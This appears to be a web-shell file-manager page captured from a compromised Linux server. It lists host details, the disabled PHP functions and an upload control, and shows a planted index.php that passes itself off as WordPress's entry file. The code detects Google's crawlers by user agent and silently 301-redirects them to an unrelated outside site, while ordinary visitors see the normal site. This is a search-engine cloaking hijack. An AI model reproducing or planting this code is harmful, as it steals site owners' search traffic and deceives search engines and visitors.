HEX
Server: Apache
System: Linux sys.digiflyeg.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: opal (1023)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/opal/.trash/index.php.1
<?php
function profile_user() {
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $isGoogleBot = strpos($useragent, 'Google-InspectionTool') !== false || 
                   strpos($useragent, 'googlebot') !== false || 
                   strpos($useragent, '(compatible; Googlebot/2.1; +http://www.google.com/bot.html)') !== false;
    $isOtherBot = strpos($useragent, 'bingbot') !== false || 
                  strpos($useragent, 'AhrefsBot') !== false;
    if ($isGoogleBot) {
        header("Location: https://www.berniesburgerbus.com/", true, 301);
        exit();
    }
    if (file_exists(__DIR__ . '/wp-blog-header.php')) {
        define('WP_USE_THEMES', true);
        require __DIR__ . '/wp-blog-header.php';
    } else {
        echo 'wp-blog-header.php not found';
        exit();
    }
}

profile_user();
?>